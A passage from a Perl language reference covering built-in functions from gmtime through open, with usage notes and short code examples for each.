$year is the number of years since 1900; that is, in year 2023, $year is 123, not simply 23. To get the 4-digit year, just say $year + 1900. To get the 2-digit year (for example "01" in 2001), use sprintf("%02d", $year % 100).

In scalar context, gmtime returns a ctime(3)-like string based on the GMT time value. The Time::gmtime module supports a by-name interface to this function. See also POSIX::strftime() for a more fine-grained approach to formatting times.

This scalar value is not locale dependent but is instead a Perl built-in. Also see the Time::Local module and the strftime(3) and mktime(3) functions available via the POSIX module. To get somewhat similar but locale-dependent date strings, set up your locale environment variables appropriately (please see the perllocale manpage), and try:

use POSIX qw(strftime);
$now_string = strftime "%a %b %e %H:%M:%S %Y", gmtime;
The %a and %b escapes, which represent the short forms of the day of the week and the month of the year, may not necessarily be three characters wide in all locales.

29.2.71. goto

goto LABEL
goto EXPR
goto &NAME
goto LABEL finds the statement labeled with LABEL and resumes execution there. If the LABEL cannot be found, an exception is raised. It cannot be used to go into any construct that requires initialization, such as a subroutine or a foreach loop. It also can't be used to go into a construct that is optimized away. It can be used to go almost anywhere else within the dynamic scope,[4] including out of subroutines, but for that purpose it's usually better to use some other construct such as last or die. The author of Perl has never felt the need to use this form of goto (in Perl, that is--C is another matter).

[4]This means that if it doesn't find the label in the current routine, it looks back through the routines that called the current routine for the label, thus making it nearly impossible to maintain your program.

Going to even greater heights of orthogonality (and depths of idiocy), Perl allows goto EXPR, which expects EXPR to evaluate to a label name, whose location is guaranteed to be unresolvable until run time since the label is unknown when the statement is compiled. This allows for computed gotos per FORTRAN, but isn't necessarily recommended[5] if you're optimizing for maintainability:

goto +("FOO", "BAR", "GLARCH")[$i];
The unrelated goto&NAME is highly magical, substituting a call to the named subroutine for the currently running subroutine. This construct may be used without shame by AUTOLOAD subroutines that wish to load another subroutine and then pretend that this new subroutine--and not the original one--had been called in the first place (except that any modifications to @_ in the original subroutine are propagated to the replacement subroutine). After the goto, not even caller will be able to tell that the original AUTOLOAD routine was called first.

[5] Understatement is reputed to be funny, so we thought we'd try one here.

29.2.72. grep

grep EXPR, LIST
grep BLOCK LIST
This function evaluates EXPR or BLOCK in Boolean context for each element of LIST, temporarily setting $_ to each element in turn, much like the foreach construct. In list context, it returns a list of those elements for which the expression is true. (The operator is named after a beloved Unix program that extracts lines out of a file that match a particular pattern. In Perl, the expression is often a pattern, but doesn't have to be.) In scalar context, grep returns the number of times the expression was true.

If @all_lines contains lines of code, this example weeds out comment lines:

@code_lines = grep !/^\s*#/, @all_lines;
Because $_ is an implicit alias to each list value, altering $_ will modify the elements of the original list. While this is useful and supported, it can occasionally cause bizarre results if you aren't expecting it. For example:
@list = qw(barney fred dino wilma);
@greplist = grep { s/^[bfd]// } @list;
@greplist is now "arney", "red", "ino", but @list is now "arney", "red", "ino", "wilma"! Ergo, Caveat Programmor.

See also map. The following two statements are functionally equivalent:

@out = grep { EXPR } @in;
@out = map { EXPR ? $_ : () } @in

29.2.73. hex

hex EXPR
hex
This function interprets EXPR as a hexadecimal string and returns the equivalent decimal value. A leading "0x" is ignored, if present. To interpret strings that might start with any of 0, 0b, or 0x, see oct. The following code sets $number to 4,294,906,560:
$number = hex("ffff12c0");
To do the inverse function, use sprintf:
sprintf "%lx", $number;         # (That's an ell, not a one.)
Hex strings may only represent integers. Strings that would cause integer overflow trigger a warning.

29.2.74. import

import CLASSNAME LIST
import CLASSNAME
There is no built-in import function. It is merely an ordinary class method defined (or inherited) by modules that wish to export names to another module through the use operator. See use for details.

29.2.75. index

index STR, SUBSTR, OFFSET
index STR, SUBSTR
This function searches for one string within another. It returns the position of the first occurrence of SUBSTR in STR. The OFFSET, if specified, says how many characters from the start to skip before beginning to look. Positions are based at 0 (or whatever you've set the subscript base $[ variable to--but don't do that). If the substring is not found, the function returns one less than the base, ordinarily -1. To work your way through a string, you might say:
$pos = -1;
while (($pos = index($string, $lookfor, $pos)) > -1) {
    print "Found at $pos\n";
    $pos++;
}

29.2.76. int

int EXPR
int
This function returns the integer portion of EXPR. If you're a C programmer, you're apt to forget to use int in conjunction with division, which is a floating-point operation in Perl:
$average_age = 939/16;      # yields 58.6875 (58 in C)
$average_age = int 939/16;  # yields 58
You should not use this function for generic rounding, because it truncates towards 0 and because machine representations of floating-point numbers can sometimes produce counterintuitive results. For example, int(-6.725/0.025) produces -268 rather than the correct -269; that's because the value is really more like -268.99999999999994315658. Usually, the sprintf, printf, or the POSIX::floor and POSIX::ceil functions will serve you better than will int.
$n = sprintf("%.0f", $f);   # round (not trunc) to nearest integer

29.2.77. ioctl

ioctl FILEHANDLE, FUNCTION, SCALAR
This function implements the ioctl(2) syscall which controls I/O. To get the correct function definitions, first you'll probably have to say:
require "sys/ioctl.ph";     # perhaps /usr/local/lib/perl/sys/ioctl.ph
If sys/ioctl.ph doesn't exist or doesn't have the correct definitions, you'll have to roll your own based on your C header files such as sys/ioctl.h. (The Perl distribution includes a script called h2ph to help you do this, but running it is nontrivial.) SCALAR will be read or written (or both) depending on the FUNCTION--a pointer to the string value of SCALAR will be passed as the third argument of the actual ioctl(2) call. (If SCALAR has no string value but does have a numeric value, that value will be passed directly rather than a pointer to the string value.) The pack and unpack functions are useful for manipulating the values of structures used by ioctl. The following example determines how many bytes are available for reading using the FIONREADioctl:
require 'sys/ioctl.ph';

$size = pack("L", 0);
ioctl(FH, FIONREAD(), $size)
    or die "Couldn't call ioctl: $!\n";
$size = unpack("L", $size);
If h2ph wasn't installed or doesn't work for you, you can grep the include files by hand or write a small C program to print out the value.

The return value of ioctl (and fcntl) is as follows:

Syscall Returns | Perl Returns
-1 | undef
0 | String "0 but true"
Anything else | That number

Thus Perl returns true on success and false on failure, yet you can still easily determine the actual value returned by the operating system:

$retval = ioctl(...) || -1;
printf "ioctl actually returned %d\n", $retval;
The special string "0 but true" is exempt from -w complaints about improper numeric conversions.

Calls to ioctl should not be considered portable. If, say, you're merely turning off echo once for the whole script, it's more portable to say:

system "stty -echo";   # Works on most Unix boxen.
Just because you can do something in Perl doesn't mean you ought to. To quote the Apostle Paul, "Everything is permissible--but not everything is beneficial."

For still better portability, you might look at the Term::ReadKey module from CPAN.

29.2.78. join

join EXPR, LIST
This function joins the separate strings of LIST into a single string with fields separated by the value of EXPR, and returns the string. For example:
$rec = join ':', $login,$passwd,$uid,$gid,$gcos,$home,$shell;
To do the opposite, see split. To join things together into fixed-position fields, see pack. The most efficient way to concatenate many strings together is to join them with a null string:
$string = join "", @array;
Unlike split, join doesn't take a pattern as its first argument, and will produce a warning if you try.

29.2.79. keys

keys HASH
This function returns a list consisting of all the keys of the indicated HASH. The keys are returned in an apparently random order, but it is the same order produced by either the values or each function (assuming the hash has not been modified between calls). As a side effect, it resets HASH's iterator. Here is a (rather cork-brained) way to print your environment:
@keys   = keys   %ENV;    # keys are in the same order as
@values = values %ENV;    # values, as this demonstrates
while (@keys) {
    print pop(@keys), '=', pop(@values), "\n";
}
You're more likely to want to see the environment sorted by keys:
foreach $key (sort keys %ENV) {
    print $key, '=', $ENV{$key}, "\n";
}
You can sort the values of a hash directly, but that's somewhat useless in the absence of any way to map the values back to the keys. To sort a hash by value, you generally need to sort the keys by providing a comparison function that accesses the values based on the keys. Here's a descending numeric sort of a hash by its values:
foreach $key (sort { $hash{$b} <=> $hash{$a} } keys %hash) {
    printf "%4d %s\n", $hash{$key}, $key;
}
Using keys on a hash bound to a largish DBM file will produce a largish list, causing you to have a largish process. You might prefer to use the each function here, which will iterate over the hash entries one by one without slurping them all into a single gargantuan list.

In scalar context, keys returns the number of elements of the hash (and resets the each iterator). However, to get this information for tied hashes, including DBM files, Perl must walk the entire hash, so it's not efficient then. Calling keys in a void context helps with that.

Used as an lvalue, keys increases the number of hash buckets allocated for the given hash. (This is similar to pre-extending an array by assigning a larger number to $#array.) Pre-extending your hash can gain a measure of efficiency if you happen to know the hash is going to get big, and how big it's going to get. If you say:

keys %hash = 1000;
then %hash will have at least 1000 buckets allocated for it (you get 1024 buckets, in fact, since it rounds up to the next power of two). You can't shrink the number of buckets allocated for the hash using keys in this way (but you needn't worry about doing this by accident, as trying has no effect). The buckets will be retained even if you do %hash = (). Use undef %hash if you want to free the storage while %hash is still in scope.

See also each, values, and sort.

29.2.80. kill

kill SIGNAL, LIST
This function sends a signal to a list of processes. For SIGNAL, you may use either an integer or a quoted signal name (without a "SIG" on the front). Trying to use an unrecognized SIGNAL name raises an exception. The function returns the number of processes successfully signalled. If SIGNAL is negative, the function kills process groups instead of processes. (On SysV, a negative process number will also kill process groups, but that's not portable.) A PID of zero sends the signal to all processes of the same group ID as the sender. For example:

$cnt = kill 1, $child1, $child2;
kill 9, @goners;
kill 'STOP', getppid       # Can *so* suspend my login shell...
        unless getppid == 1;    # (But don't taunt init(8).)
A SIGNAL of 0 tests whether a process is still alive and that you still have permission to signal it. No signal is sent. This way you can check whether the process is still alive and hasn't changed its UID.
use Errno qw(ESRCH EPERM);
if (kill 0 => $minion) {
    print "$minion is alive!\n";
} elsif ($! == EPERM) {             # changed UID
    print "$minion has escaped my control!\n";
} elsif ($! == ESRCH) {
    print "$minion is deceased.\n";  # or zombied
} else {
    warn "Odd; I couldn't check on the status of $minion: $!\n";
}

See the section "Signals" in Chapter 16, "Interprocess Communication".

29.2.81. last

last LABEL
last
The last operator immediately exits the loop in question, just like the break statement in C or Java (as used in loops). If the LABEL is omitted, the operator refers to the innermost enclosing loop. The continue block, if any, is not executed.
LINE: while (<MAILMSG>) {
    last LINE if /^$/; # exit when done with header
    # rest of loop here
}
last cannot be used to exit a block which returns a value, such as eval {}, sub {}, or do {}, and should not be used to exit a grep or map operation. With warnings enabled, Perl will warn you if you last out of a loop that's not in your current lexical scope, such as a loop in a calling subroutine.

A block by itself is semantically identical to a loop that executes once. Thus last can be used to effect an early exit out of such a block.

See also Chapter 4, "Statements and Declarations" for illustrations of how last, next, redo, and continue work.

29.2.82. lc

lc EXPR
lc
This function returns a lowercased version of EXPR. This is the internal function implementing the \L escape in double-quoted strings. Your current LC_CTYPE locale is respected if use locale is in effect, though how locales interact with Unicode is still a topic of ongoing research, as they say. See the perllocale manpage for the most recent results.

29.2.83. lcfirst

lcfirst EXPR
lcfirst
This function returns a version of EXPR with the first character lowercased. This is the internal function implementing the \l escape in double-quoted strings. Your current LC_CTYPE locale is respected if you use locale and if we figure out how that relates to Unicode.

29.2.84. length

length EXPR
length
This function returns the length in characters of the scalar value EXPR. If EXPR is omitted, it returns the length of $_. (But be careful that the next thing doesn't look like the start of an EXPR, or Perl's lexer will get confused. For example, length < 10 won't compile. When in doubt, use parentheses.)

Do not try to use length to find the size of an array or hash. Use scalar @array for the size of an array, and scalar keys %hash for the number of key/value pairs in a hash. (The scalar is typically omitted when redundant.)

To find the length of a string in bytes rather than characters, say:

$blen = do { use bytes; length $string; };
or:
$blen = bytes::length($string);    # must use bytes first

29.2.85. link

link OLDFILE, NEWFILE
This function creates a new filename linked to the old filename. The function returns true for success, false otherwise. See also symlink later in this chapter. This function is unlikely to be implemented on non-Unix-style filesystems.

29.2.86. listen

listen SOCKET, QUEUESIZE
This function tells the system that you're going to be accepting connections on this SOCKET and that the system can queue the number of waiting connections specified by QUEUESIZE. Imagine having call-waiting on your phone, with up to 17 callers queued. (Gives me the willies!) The function returns true if it succeeded, false otherwise.
use Socket;
listen(PROTOSOCK, SOMAXCONN)
    or die "cannot set listen queue on PROTOSOCK: $!";
See accept. See also the section "Sockets" in Chapter 16, "Interprocess Communication". See listen(2).

29.2.87. local

local EXPR
This operator does not create a local variable; use my for that. Instead, it localizes existing variables; that is, it causes one or more global variables to have locally scoped values within the innermost enclosing block, eval, or file. If more than one variable is listed, the list must be placed in parentheses because the operator binds more tightly than commas. All listed variables must be legal lvalues, that is, something you could assign to; this can include individual elements of arrays or hashes.

This operator works by saving the current values of the specified variables on a hidden stack and restoring them upon exiting the block, subroutine, eval, or file. After the local is executed, but before the scope is exited, any subroutines and executed formats will see the local, inner value, instead of the previous, outer value because the variable is still a global variable, despite having a localized value. The technical term for this is "dynamic scoping". See the section "Scoped Declarations" in Chapter 4, "Statements and Declarations".

The EXPR may be assigned to if desired, which allows you to initialize your variables as you localize them. If no initializer is given, all scalars are initialized to undef, and all arrays and hashes to (). As with ordinary assignment, if you use parentheses around the variables on the left (or if the variable is an array or hash), the expression on the right is evaluated in list context. Otherwise, the expression on the right is evaluated in scalar context.

In any event, the expression on the right is evaluated before the localization, but the initialization happens after localization, so you can initialize a localized variable with its nonlocalized value. For instance, this code demonstrates how to make a temporary modification to a global array:

if ($sw eq '-v') {
    # init local array with global array
    local @ARGV = @ARGV;
    unshift @ARGV, 'echo';
    system @ARGV;
}
# @ARGV restored
You can also temporarily modify global hashes:
# temporarily add a couple of entries to the %digits hash
if ($base12) {
    # (NOTE: We're not claiming this is efficient!)
    local(%digits) = (%digits, T => 10, E => 11);
    parse_num();
}
You can use local to give temporary values to individual elements of arrays and hashes, even lexically scoped ones:
if ($protected) {
    local $SIG{INT} = 'IGNORE';
    precious();     # no interrupts during this function
}                   # previous handler (if any) restored
You can also use local on typeglobs to create local filehandles without loading any bulky object modules:
local *MOTD;                # protect any global MOTD handle
my $fh = do { local *FH };  # create new indirect filehandle
(As of the 5.6 release of Perl, a plain my $fh; is good enough, because if you give an undefined variable where a real filehandle is expected, like the first argument to open or socket, Perl now autovivifies a brand new filehandle for you.)

But in general, you usually want to use my instead of local, because local isn't really what most people think of as "local", or even "lo-cal". See my.

29.2.88. localtime

localtime EXPR
localtime
This function converts the value returned by time to a nine-element list with the time corrected for the local time zone. It's typically used as follows:
#  0    1    2     3     4    5     6     7     8
($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime;
If, as in this case, EXPR is omitted, it does localtime(time()).

All list elements are numeric and come straight out of a struct tm. (That's a bit of C programming lingo--don't worry about it.) In particular, this means that $mon has the range 0..11 with January as month 0, and $wday has the range 0..6 with Sunday as day 0. You can remember which ones are zero-based because those are the ones you're always using as subscripts into zero-based arrays containing month and day names.

For example, to get the name of the current day of the week:

$thisday = (Sun,Mon,Tue,Wed,Thu,Fri,Sat)[(localtime)[6]];
$year is the number of years since 1900, that is, in year 2023, $year is 123, not simply 23. To get the 4-digit year, just say $year + 1900. To get the 2-digit year (for example "01" in 2001), use sprintf("%02d", $year % 100).

The Perl library module Time::Local contains a subroutine, timelocal, that can convert in the opposite direction.

In scalar context, localtime returns a ctime(3)-like string. For example, the date(1) command can be (almost)[6] emulated with:

perl -le 'print scalar localtime'
See also the standard POSIX module's strftime function for a more fine-grained approach to formatting times. The Time::localtime module supports a by-name interface to this function.

[6]date(1) prints the timezone, whereas scalar localtime does not.

29.2.89. lock

lock THING
The lock function places a lock on a variable, subroutine, or object referenced by THING until the lock goes out of scope. For backward compatibility, this function is a built-in only if your version of Perl was compiled with threading enabled, and if you've said use Threads. Otherwise, Perl will assume this is a user-defined function. See Chapter 17, "Threads".

29.2.90. log

log EXPR
log
This function returns the natural logarithm (that is, base e) of EXPR. If EXPR is negative, it raises an exception. To get the log of another base, use basic algebra: the base-N log of a number is equal to the natural log of that number divided by the natural log of N. For example:
sub log10 {
    my $n = shift;
    return log($n)/log(10);
}
For the inverse of log, see exp.

29.2.91. lstat

lstat EXPR
lstat
This function does the same thing as Perl's stat function (including setting the special _ filehandle), but if the last component of the filename is a symbolic link, it stats the symbolic link itself instead of the file that the symbolic link points to. (If symbolic links are unimplemented on your system, a normal stat is done instead.)

29.2.92. m//

/PATTERN/
m/PATTERN/
This is the match operator, which interprets PATTERN as a regular expression. The operator is parsed as a double-quoted string rather than as a function. See Chapter 5, "Pattern Matching".

29.2.93. map

map BLOCK LIST
map EXPR, LIST
This function evaluates the BLOCK or EXPR for each element of LIST (locally setting $_ to each element) and returns the list comprising the results of each such evaluation. It evaluates BLOCK or EXPR in list context, so each element of LIST may map to zero, one, or more elements in the returned value. These are all flattened into one list. For instance:
@words = map { split ' ' } @lines;
splits a list of lines into a list of words. But often there is a one-to-one mapping between input values and output values:
@chars = map chr, @nums;
translates a list of numbers to the corresponding characters. And here's an example of a one-to-two mapping:
%hash = map { genkey($_) => $_ } @array;
which is just a funny functional way to write this:
%hash = ();
foreach $_ (@array) {
    $hash{genkey($_)} = $_;
}
Because $_ is an alias (implicit reference) into the list's values, this variable can be used to modify the elements of the array. This is useful and supported, although it can cause bizarre results if the LIST is not a named array. Using a regular foreach loop for this purpose may be clearer. See also grep; map differs from grep in that map returns a list consisting of the results of each successive evaluation of EXPR, whereas grep returns a list consisting of each value of LIST for which EXPR evaluates to true.

29.2.94. mkdir

mkdir FILENAME, MASK
mkdir FILENAME
This function creates the directory specified by FILENAME, giving it permissions specified by the numeric MASK as modified by the current umask. If the operation succeeds, it returns true; otherwise, it returns false.

If MASK is omitted, a mask of 0777 is assumed, which is almost always what you want anyway. In general, creating directories with permissive MASKs (like 0777) and letting the user modify that with their umask is better than supplying a restrictive MASK and giving the user no way to be more permissive. The exception to this rule is when the file or directory should be kept private (mail files, for instance). See umask.

If the mkdir(2) syscall is not built into your C library, Perl emulates it by calling the mkdir(1) program for each directory. If you are creating a long list of directories on such a system, it'll be more efficient to call the mkdir program yourself with the list of directories than it is to start zillions of subprocesses.

29.2.95. msgctl

msgctl ID, CMD, ARG
This function calls the System V IPC msgctl(2) syscall; see msgctl(2) for more details. You may have to useIPC::SysV first to get the correct constant definitions. If CMD is IPC_STAT, then ARG must be a variable that will hold the returned msqid_ds C structure. Return values are like ioctl and fcntl: undef for error, "0 but true" for zero, or the actual return value otherwise.

This function is available only on machines supporting System V IPC, which turns out to be far fewer than those supporting sockets.

29.2.96. msgget

msgget KEY, FLAGS
This function calls the System V IPC msgget(2) syscall. See msgget(2) for details. The function returns the message queue ID, or undef if there is an error. Before calling, you should useIPC::SysV.

This function is available only on machines supporting System V IPC.

29.2.97. msgrcv

msgrcv ID, VAR, SIZE, TYPE, FLAGS
This function calls the msgrcv(2) syscall to receive a message from message queue ID into variable VAR with a maximum message size of SIZE. See msgrcv(2) for details. When a message is received, the message type will be the first thing in VAR, and the maximum length of VAR is SIZE plus the size of the message type. The function returns true if successful, or false if there is an error. Before calling, you should useIPC::SysV.

This function is available only on machines supporting System V IPC.

29.2.98. msgsnd

msgsnd ID, MSG, FLAGS
This function calls the msgsnd(2) syscall to send the message MSG to the message queue ID. See msgsnd(2) for details. MSG must begin with the long integer message type. You can create a message like this:
$msg = pack "L a*", $type, $text_of_message;
The function returns true if successful, or false if there is an error. Before calling, useIPC::SysV.

This function is available only on machines supporting System V IPC.

29.2.99. my

my TYPE EXPR : ATTRIBUTES
my EXPR : ATTRIBUTES
my TYPE EXPR
my EXPR
This operator declares one or more private variables to exist only within the innermost enclosing block, subroutine, eval, or file. If more than one variable is listed, the list must be placed in parentheses because the operator binds more tightly than commas. Only simple scalars or complete arrays and hashes may be declared this way.

The variable name cannot be package qualified, because package variables are all globally accessible through their corresponding symbol table, and lexical variables are unrelated to any symbol table. Unlike local, then, this operator has nothing to do with global variables, other than hiding any other variable of the same name from view within its scope (that is, where the private variable exists). A global variable can always be accessed through its package-qualified form, however, or through a symbolic reference.

A private variable's scope does not start until the statement after its declaration. The variable's scope extends into any enclosed blocks thereafter, up to the end of the scope of the variable itself.

However, this means that any subroutines you call from within the scope of a private variable cannot see the private variable unless the block that defines the subroutine itself is also textually enclosed within the scope of that variable. That sounds complicated, but it's not once you get the hang of it. The technical term for this is lexical scoping, so we often call these lexical variables. In C culture, they're sometimes called "auto" variables, since they're automatically allocated and deallocated at scope entry and exit.

The EXPR may be assigned to if desired, which allows you to initialize your lexical variables. (If no initializer is given, all scalars are initialized to the undefined value and all arrays and hashes to the empty list.) As with ordinary assignment, if you use parentheses around the variables on the left (or if the variable is an array or hash), the expression on the right is evaluated in list context. Otherwise, the expression on the right is evaluated in scalar context. For example, you can name your formal subroutine parameters with a list assignment, like this:

my ($friends, $romans, $countrymen) = @_;
But be careful not to omit the parentheses indicating list assignment, like this:
my $country = @_;  # right or wrong?
This assigns the length of the array (that is, the number of the subroutine's arguments) to the variable, since the array is being evaluated in scalar context. You can profitably use scalar assignment for a formal parameter though, as long as you use the shift operator. In fact, since object methods are passed the object as the first argument, many method subroutines start off by "stealing" the first argument:
sub simple_as {
    my $self = shift;   # scalar assignment
    my ($a,$b,$c) = @_; # list assignment
    ...
}
If you attempt to declare a lexically scoped subroutine with my sub, Perl will die with the message that this feature has not been implemented yet. (Unless, of course, this feature has been implemented yet.)

The TYPE and ATTRIBUTES are optional, which is just as well, since they're both considered experimental. Here's what a declaration that uses them might look like:

my Dog $spot :ears(short) :tail(long);
The TYPE, if specified, indicates what kind of scalar or scalars are declared in EXPR, either directly as one or more scalar variables, or indirectly through an array or hash. If TYPE is the name of the class, the scalars will be assumed to contain references to objects of that type, or to objects compatible with that type. In particular, derived classes are considered compatible. That is, assuming Collie is derived from Dog, you might declare:
my Dog $lassie = new Collie;
Your declaration claims that you will use the $lassie object consistently with its being a Dog object. The fact that it's actually a Collie object shouldn't matter as long as you only try to do Dog things. Through the magic of virtual methods, the implementation of those Dog methods might well be in the Collie class, but the declaration above is only talking about the interface, not the implementation. In theory.

Interestingly, up through version 5.6.0, the only time Perl pays attention to the TYPE declaration is when the corresponding class has declared fields with the use fields pragma. Together, these declarations allow the pseudohash implementation of a class to "show through" to code outside the class, so that hash lookups can be optimized by the compiler into array lookups. In a sense, the pseudohash is the interface to such a class, so our theory remains intact, if a bit battered. For more on pseudohashes, see the section "Pseudohashes" in Chapter 8, "References".

In the future, other types of classes may interpret the TYPE differently. The TYPE declaration should be considered a generic type interface that might someday be instantiated in various ways depending on the class. In fact, the TYPE might not even be an official class name. We're reserving the lowercase type names for Perl, because one of the ways we'd like to extend the type interface is to allow optional low-level type declarations such as int, num, str, and ref. These declarations will not be for the purpose of strong typing; rather, they'll be hints to the compiler telling it to optimize the storage of the variable with the assumption that the variable will be used mostly as declared. The semantics of scalars will stay pretty much the same--you'll still be able to add two str scalars, or print an int scalar, just as though they were the ordinary polymorphic scalars you're familiar with. But with an int declaration Perl might decide to store only the integer value and forget about caching the resulting string as it currently does. Loops with int loop variables might run faster, particularly in code compiled down to C. In particular, arrays of numbers could be stored much more compactly. As a limiting case, the built-in vec function might even become obsolete when we can write declarations such as:

my bit @bitstring;

The ATTRIBUTES declaration is even more experimental. We haven't done much more than reserve the syntax and prototype the internal interface; see the use attributes pragma in Chapter 31, "Pragmatic Modules" for more on that. The first attribute we'll implement is likely to be constant:

my num $PI : constant = atan2(1,1) * 4;
But there are many other possibilities, such as establishing default values for arrays and hashes, or letting variables be shared among cooperating interpreters. Like the type interface, the attribute interface should be considered a generic interface, a kind of workbench for inventing new syntax and semantics. We do not know how Perl will evolve in the next 10 years. We only know that we can make it easier on ourselves by planning for that in advance.

See also local, our, and the section "Scoped Declarations" in Chapter 4, "Statements and Declarations".

29.2.100. new

new CLASSNAME LIST
new CLASSNAME
There is no built-in new function. It is merely an ordinary constructor method (that is, a user-defined subroutine) that is defined or inherited by the CLASSNAME class (that is, package) to let you construct objects of type CLASSNAME. Many constructors are named "new", but only by convention, just to trick C++ programmers into thinking they know what's going on. Always read the documentation of the class in question so you know how to call its constructors; for example, the constructor that creates a list box in the Tk widget set is just called Listbox(). See Chapter 12, "Objects".

29.2.101. next

next LABEL
next
The next operator is like the continue statement in C: it starts the next iteration of the loop designated by LABEL:
LINE: while (<STDIN>) {
    next LINE if /^#/;     # discard comments
    ...
}
If there were a continue block in this example, it would be executed immediately following the invocation of next. When LABEL is omitted, the operator refers to the innermost enclosing loop.

A block by itself is semantically identical to a loop that executes once. Thus, next will exit such a block early (via the continue block, if there is one).

next cannot be used to exit a block that returns a value, such as eval {}, sub {}, or do {}, and should not be used to exit a grep or map operation. With warnings enabled, Perl will warn you if you next out of a loop not in your current lexical scope, such as a loop in a calling subroutine. See the section "Loop Statements" in Chapter 4, "Statements and Declarations".

29.2.102. no

no MODULE LIST
See the use operator, which is the opposite of no, kind of. Most standard modules do not unimport anything, making no a no-op, as it were. The pragmatic modules tend to be more obliging here. If the MODULE cannot be found, an exception is raised.

29.2.103. oct

oct EXPR
oct
This function interprets EXPR as an octal string and returns the equivalent decimal value. If EXPR happens to start with "0x", it is interpreted as a hexadecimal string instead. If EXPR starts off with "0b", it is interpreted as a string of binary digits. The following will properly convert to numbers any input strings in decimal, binary, octal, and hex bases written in standard C or C++ notation:
$val = oct $val if $val =~ /^0/;
To perform the inverse function, use sprintf with an appropriate format:

$perms = (stat("filename"))[2] & 07777;
$oct_perms = sprintf "%lo", $perms;
The oct function is commonly used when a data string such as "644" needs to be converted into a file mode, for example. Although Perl will automatically convert strings into numbers as needed, this automatic conversion assumes base 10.

29.2.104. open

open FILEHANDLE, MODE, LIST
open FILEHANDLE, EXPR
open FILEHANDLE
The open function associates an internal FILEHANDLE with an external file specification given by EXPR or LIST. It may be called with one, two, or three arguments (or more if the third argument is a command, and you're running at least version 5.6.1 of Perl). If three or more arguments are present, the second argument specifies the access MODE in which the file should be opened, and the third argument (LIST) supplies the actual filename or the command to execute, depending on the mode. In the case of a command, additional arguments may be supplied if you wish to invoke the command directly without involving a shell, much like system or exec. Or the command may be supplied as a single argument (the third one), in which case the decision to invoke the shell depends on whether the command contains shell metacharacters. (Don't use more than three arguments if the arguments are ordinary filenames; it won't work.) If the MODE is not recognized, open raises an exception.

If only two arguments are present, the mode and filename/command are assumed to be combined in the second argument. (And if you don't specify a mode in the second argument, just a filename, then the file is opened read-only to be on the safe side.)

With only one argument, the package scalar variable of the same name as the FILEHANDLE must contain the filename and optional mode:

$LOG = ">logfile";        # $LOG must not be declared my!
   open LOG or die "Can't open logfile: $!";
But don't do that. It's not stylin'. Forget we mentioned it.

The open function returns true when it succeeds and undef otherwise. If the open starts up a pipe to a child process, the return value will be the process ID of that new process. As with any syscall, always check the return value of open to make sure it worked. But this isn't C or Java, so don't use an if statement when the or operator will do. You can also use ||, but if you do, use parentheses on the open. If you choose to omit parentheses on the function call to turn it into a list operator, be careful to use "or die" after the list rather than "|| die", because the precedence of || is higher than list operators like open, and the || will bind to your last argument, not the whole open:

open LOG, ">logfile" || die "Can't create logfile: $!";  # WRONG
open LOG, ">logfile" or die "Can't create logfile: $!";  # ok
That looks rather intense, but typically you'd introduce some whitespace to tell your eye where the list operator ends:
open LOG, ">logfile"
        or die "Can't create logfile: $!";
As that example shows, the FILEHANDLE argument is often just a simple identifier (normally uppercase), but it may also be an expression whose value provides a reference to the actual filehandle. (The reference may be either a symbolic reference to the filehandle name or a hard reference to any object that can be interpreted as a filehandle.) This is called an indirect filehandle, and any function that takes a FILEHANDLE as its first argument can handle indirect filehandles as well as direct ones. But open is special in that if you supply it with an undefined variable for the indirect filehandle, Perl will automatically define that variable for you, that is, autovivifying it to contain a proper filehandle reference. One advantage of this is that the filehandle will be closed automatically when there are no further references to it, typically when the variable goes out of scope:
{
        my $fh;                   # (uninitialized)
        open($fh, ">logfile")     # $fh is autovivified
            or die "Can't create logfile: $!";
        ...                       # do stuff with $fh
}                                 # $fh closed here
The my$fh declaration can be readably incorporated into the open:
open my $fh, ">logfile" or die ...
The > symbol you've been seeing in front of the filename is an example of a mode. Historically, the two-argument form of open came first. The recent addition of the three-argument form lets you separate the mode from the filename, which has the advantage of avoiding any possible confusion between the two. In the following example, we know that the user is not trying to open a filename that happens to start with ">". We can be sure that they're specifying a MODE of ">", which opens the file named in EXPR for writing, creating the file if it doesn't exist and truncating the file down to nothing if it already exists:
open(LOG, ">", "logfile")  or die "Can't create logfile: $!";
In the shorter forms, the filename and mode are in the same string. The string is parsed much as the typical shell processes file and pipe redirections. First, any leading and trailing whitespace is removed from the string. Then the string is examined, on either end if need be, for characters specifying how the file is to be opened. Whitespace is allowed between the mode and the filename.

The modes that indicate how to open a file are shell-like redirection symbols. A list of these symbols is provided in Table 29-1. (To access a file with combinations of open modes not covered by this table, see the low-level sysopen function.)

Table 29.1. Modes for open

 | Read | Write | Append | Create | Clobber
Mode | Access | Access | Only | Nonexisting | Existing
< PATH | Y | N | N | N | N
> PATH | N | Y | N | Y | Y
>> PATH | N | Y | Y | Y | N
+< PATH | Y | Y | N | N | N
+> PATH | Y | Y | N | Y | Y
+>> PATH | Y | Y | Y | Y | N
| COMMAND | N | Y | n/a | n/a | n/a
COMMAND | | Y | N | n/a | n/a | n/a

If the mode is "<" or nothing, an existing file is opened for input. If the mode is ">", the file is opened for output, which truncates existing files and creates nonexistent ones. If the mode is ">>", the file is created if needed and opened for appending, and all output is automatically placed at the end of the file. If a new file is created because you used a mode of ">" or ">>" and the file did not previously exist, access permissions will depend on the process's current umask under the rules described for that function.

Here are common examples:

open(INFO,      "datafile")  || die("can't open datafile: $!");
open(INFO,    "< datafile")  || die("can't open datafile: $!");
open(RESULTS, "> runstats")  || die("can't open runstats: $!");
open(LOG,    ">> logfile ")  || die("can't open logfile:  $!");
If you prefer the low-punctuation version, you can write:
open INFO,      "datafile"   or die "can't open datafile: $!";
open INFO,    "< datafile"   or die "can't open datafile: $!";
open RESULTS, "> runstats"   or die "can't open runstats: $!";
open LOG,    ">> logfile "   or die "can't open logfile:  $!";
When opened for reading, the special filename "-" refers to STDIN. When opened for writing, the same special filename refers to STDOUT. Normally, these are specified as "<-" and ">-", respectively.
open(INPUT,  "-" ) or die;     # re-open standard input for reading
open(INPUT,  "<-") or die;     # same thing, but explicit
open(OUTPUT, ">-") or die;     # re-open standard output for writing
This way the user can supply a program with a filename that will use the standard input or the standard output, but the author of the program doesn't have to write special code to know about this.

